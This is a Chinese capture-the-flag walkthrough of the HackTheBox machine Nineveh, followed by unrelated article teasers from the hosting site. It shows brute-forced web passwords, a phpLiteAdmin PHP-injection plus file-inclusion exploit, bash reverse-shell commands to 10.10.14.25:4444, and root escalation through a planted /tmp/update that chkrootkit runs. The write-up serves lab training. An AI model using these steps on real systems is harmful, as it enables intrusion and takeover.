HackTheBox-Machines--Nineveh


Nineveh测试过程

1 信息收集

NMAP 端口扫描

在这里插入图片描述

80 端口

  80端口是服务器的默认页面,无可利用功能点,源代码没有可利用的敏感信息

在这里插入图片描述

目录扫描

  

在这里插入图片描述

1.http://10.129.25.123/department

  访问/department目录跳转到登录页面,尝试暴力破解,获取到账号密码:admin 1q2w3e4r5t

在这里插入图片描述

  登录后页面显示存在 /serect文件夹、amrois用户

在这里插入图片描述

2.http://10.129.25.123/info.php

在这里插入图片描述

  

443 端口

  443端口是一张图片,无其他可利用点

在这里插入图片描述

目录扫描

  访问 /secure_notes、/server-status 目录 与 https://10.129.25.123/ 页面相同

1.https://10.129.25.123/db

在这里插入图片描述

  页面显示 phpLiteAdmin v1.9 ,可以搜索其相关漏洞

在这里插入图片描述

  1.9.3 版本存在一个远程命令执行漏洞,攻击者可以创建一个带有php扩展名的sqlite数据库,并将php代码作为文本字段插入。完成后,攻击者可以通过使用web浏览器访问数据库文件来执行它。

在这里插入图片描述

暴力破解

  创建sqllite数据库需要登录https://10.129.25.123/db,尝试进行暴力破解

在这里插入图片描述

  使用hydra工具进行暴力破解,登录页面需要猜解password字段,用户名可以随意指定,爆破密码 password123


2 phpLiteAdmin 1.9.3 版本远程命令执行漏洞

  1. 创建一个 .php 结尾的数据库

在这里插入图片描述

  1. 将php代码作为文本字段插入

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  1. 访问 /var/tmp/test.php

  但是出现了一个问题:如何访问 /car/tmp/test.php

在这里插入图片描述

在这里插入图片描述

  在Notes按钮,发现 http://10.129.25.123/department/manage.php?notes=files/ninevehNotes.txt 路径;

  http://10.129.25.123/department/manage.php?notes=/var/tmp/txt.php&cmd=ls 执行失败

  1. 测试

  在通过文件包含执行我们的数据库文件时,LFI 需要名称 ninevehNotes,重新将数据库名称更改为 ninevehNotes.php

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

http://10.129.25.123/department/manage.php?notes=/ninevehNotes/../var/tmp/ninevehNote.php&cmd=id 执行成功

在这里插入图片描述

  1. 反弹shell
bash -c 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1 &'

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


3 横向移动

www-data 到 amrois

  之前访问 /department 发现存在一个用户 amrois,查看 /etc/passwd 进行确定

在这里插入图片描述

  查找 amrois 可访问的文件

find / -user amrois \( -readable -o -writable \) 2>/dev/null

在这里插入图片描述

  在文件中查找 amrois,并在 /var/www 目录中发现 nineveh.png

cd /var/www
grep -lir amrois . 2>/dev/null

在这里插入图片描述

  将 nineveh.png 文件下载到本地进行查看

在这里插入图片描述

  使用 strings 命令查找可打印的字符串,发现 amrois 用户以及一个 SSH 密钥,猜测此密钥为用户amrois私钥

在这里插入图片描述

在这里插入图片描述

  但是使用私钥进行ssh访问时失败

端口敲击

  查找 ssh登录 失败原因

  查看进程:

www-data@nineveh:/tmp$ ps aux
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      1315  0.7  0.3   8756  3860 ?        Ss   02:45   8:03 /usr/sbin/knockd -d -i ens160

  knockd 是一个用于端口敲击的守护进程,当某些端口被按顺序敲击时,将设置某些防火墙规则。

  查看 knockd 配置文件 ``
在这里插入图片描述
在这里插入图片描述

  配置文件显示:5秒内通过输入 571、290、911 和 syns 来打开 SSH,这样做之后,它会添加一条防火墙规则以允许 我的IP 访问端口 22。

  使用如下命令,循环遍历三个端口:

for x in 571 290 911 22;do nmap -Pn --max-retries 0 -p $x 10.129.25.123; done
(base) gryphon@wsdl Demo %for x in 571 290 911 22;do nmap -Pn --max-retries 0 -p $x 10.129.25.123; done
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.PORT    STATE    SERVICE
571/tcp filtered umeterNmap done: 1 IP address (1 host up) scanned in 1.18 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.PORT    STATE    SERVICE
290/tcp filtered unknownNmap done: 1 IP address (1 host up) scanned in 1.14 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Warning: 10.129.25.123 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.129.25.123
Host is up.PORT    STATE    SERVICE
911/tcp filtered xact-backupNmap done: 1 IP address (1 host up) scanned in 1.14 seconds
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-29 19:11 CST
Nmap scan report for 10.129.25.123
Host is up (0.43s latency).PORT   STATE SERVICE
22/tcp open  sshNmap done: 1 IP address (1 host up) scanned in 0.58 seconds

  ssh登录成功

在这里插入图片描述


4 权限提升

  使用 pspy 工具对服务器进行信息收集

在这里插入图片描述

在这里插入图片描述

  发现 chkrookit, 0.50 之前的 chkrootkit 将运行任何以 root 命名的/tmp/update可执行文件,从而进行权限提升。

在这里插入图片描述

amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.25/4444 0>&1'
#!/bin/bashbash -i >& /dev/tcp/10.10.14.225/4444 0>&1
amrois@nineveh:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.25/4444 0>&1' > update
amrois@nineveh:/tmp$ chmod +x update

  执行监听,下次chkroot运行时,得到一个 shell

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/21061.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java——标识符

一、标识符介绍 1、什么是标识符 标识符(Identifier)是Java编程语言中用于命名变量、方法、类、包、常量及其他用户定义项目的名称。简单的说就是只要是可以自定义命名的地方就是标识符。 2、标识符的命名规则 在Java中,标识符的命名必须…

嵌入式期末复习

一、选择题(20) 二、判断题(10) 三、填空题(10) 主机-目标机的文件传输方式主要有串口传输方式、网络传输方式、USB接口传输方式、JTAG接口传输方式、移动存储设备方式。常用的远程调试技术主要有 插桩/st…

NVIDIA NeMo - 训练本地化多语种 LLM

本文转载自:使用 NVIDIA NeMo 训练本地化多语种 LLM (2024年 5月 17日 By Nicole Luo and Amit Bleiweiss 第 1 部分 https://developer.nvidia.com/zh-cn/blog/training-localized-multilingual-llms-with-nvidia-nemo-part-1/ 第 2 部分 https://deve…

SourceTree配置

SourceTree跳过注册方法跳过注册页 2.SourceTree分体暂存视图 配置(暂存才会生效) 3.SourceTree提交信息描述模版配置 备注: SourceTree核心GUI操作直观 Atlassian 提交信息描述模版配置: #应集团要求:所有需要发布的应用都需要按照以下的…

cocos入门1:简介

Cocos是一款由厦门雅基软件有限公司推出的数字内容开发一站式解决方案,它具备开源、免费、轻量、高性能等特点,为全球范围内的开发者提供服务。以下是对Cocos的详细介绍及教程概括: Cocos的基本介绍 产品背景:Cocos成立于2010年…

Cocos入门2:软件安装

Cocos Creator的安装教程如下,按照步骤进行,可以帮助您顺利安装Cocos Creator: 一、下载Cocos Dashboard 访问Cocos官网:前往Cocos Creator的官方网站(https://www.cocos.com/creator/)。 下载Cocos Dash…

【架构艺术】代码架构治理之四层境界

最近逐渐开始写一些简单且稍微务虚的文章。原因有挺多,其一是,自己的工作内容和企业的内部情况绑定的更加深入了,许多信息如果要在互联网上分享,需要考虑在很多地方做加工;其二是,过分拘泥于非常深度的技术…

重生之 SpringBoot3 入门保姆级学习(14、内容协商基础简介)

重生之 SpringBoot3 入门保姆级学习(14、内容协商基础简介) 3.3 内容协商3.3.1 基础简介3.3.2 演示效果 3.3 内容协商 3.3.1 基础简介 默认规则 基于请求头的内容协商(默认开启) 客户端向服务器发送请求,携带 HTTP 标…

GraphQL(1):GraphQL简介

1 GraphQL介绍 GraphQL是Facebook开发的一种数据查询语言,并于2015年公开发布。它是RESTAPI的替代品。 GraphQL 既是一种用于 API的查询语言也是一个满足你数据查询的运行时。 GraphQL对你的 API中的数据提供了一套易于理解的完整描述,使得客户端能够准…

20240601使用iperf3在Toybrick的TB-RK3588开发板上跑预编译的Android12测网速

20240601使用iperf3在Toybrick的TB-RK3588开发板上跑预编译的Android12测网速 2024/6/1 20:39 【常见问题】给TB-RK3588开发板刷机Androidd12之后,如果刷机线type-C不拔掉。可能起不来! 搞得我都以为板子坏了呢! rootrootrootroot-ThinkBook-…

Linux|Linux系统的exec函数族浅浅解析

exec 函数族是 Linux 和其他类 Unix 操作系统中的一组系统调用,用于在当前进程的上下文中执行新的程序。这些函数包括 execl, execle, execlp, execv, execve, execvp 和 execvpe 等。使用这些函数可以替换当前进程的地址空间,使其执行一个新的程序。 基…

Linux[高级管理]——使用源码包编译安装Apache网站

🏡作者主页:点击! 👨‍💻Linux高级管理专栏:点击! ⏰️创作时间:2024年5月31日14点20分 🀄️文章质量:96分 在Linux系统上编译和安装Apache HTTP Server是…

Kubernetes 安全指南:从审计到备份的全面防护

▲ 点击上方"DevOps和k8s全栈技术"关注公众号 Kubernetes(K8s)作为现代容器编排的领先平台,其在提升应用部署和管理效率方面表现出色。然而,随着其应用的广泛普及,Kubernetes的安全性也成为了大家关注的重点…

搭建基于Django的博客系统数据库迁移从Sqlite3到MySQL(四)

上一篇:搭建基于Django的博客系统增加广告轮播图(三) 下一篇:基于Django的博客系统之用HayStack连接elasticsearch增加搜索功能(五) Sqlite3数据库迁移到MySQL 数据库 迁移原因 Django 的内置数据库 SQL…

动态规划求多段图的最短路径

一、基本思想 动态规划法将待求解问题分解成若干个相互重叠的子问题,每个子问题相互关联;动态规划法与分治法的区别就在于分治法的子问题相互不关联,而动态规划法的子问题是相互关联的,且有重叠的部分。 二、算法分析 动态规划…

x264 参考帧管理原理:reference_build_list 函数

reference_build_list函数 原理 功能:构建参考列表,它根据当前编码帧的POC(Picture Order Count)来决定哪些帧可以作为参考帧。 内部执行流程:声明了一个布尔变量b_ok,用于在排序循环中作为标志;初始化参考帧列表0和1的计数器i_fref[0]、i_fref[1];如果当前编码的切片…

独孤思维:赚不到的人,身边也都是不赚钱的垃圾

01 如果你身边的人,都被你吐槽垃圾,那么你一定垃圾。 因为你身处在垃圾之中,而你不愿意改变,那么你肯定垃圾。 如果你做副业,一直没赚到钱,也一直在埋怨项目不行。 那么一定是你这个人不行。 无论换多…

android源码下载编译模拟器运行

安卓aosp源码下载,编译,模拟器运行 virtualbox7 安装ubuntu20.04,ubuntu22.04 编译android aosp 源码可以,但是模拟器跑不了,哪个版本都是要么黑屏,要么整个vbox虚拟机闪退。解决方案使用vmware17 ##拯救…

性能优化相关:nginx负载均衡中的动静分离

结合上次博客:正向代理和反向代理 什么是动静分离: 静态资源:包含css文件、图片、js文件、配置文件等 动态资源:脚本处理等 更改/usr/local/nginx/conf下的nginx.conf文件,设置动静目录,添加如下 locatio…

Ubuntu——配置安装服务

目录 一、安装JDK 二、安装IntelliJ IDEA 三、安装Docker-ce 1.环境清理以免有遗留组件 2.安装Docker 3.测试 #检查版本 sudo cat /etc/issue 一、安装JDK Ubuntu提供了一个名为apt的软件包管理工具,通过它可以使用命令行的方式安装、更新和删除软件包。 使用…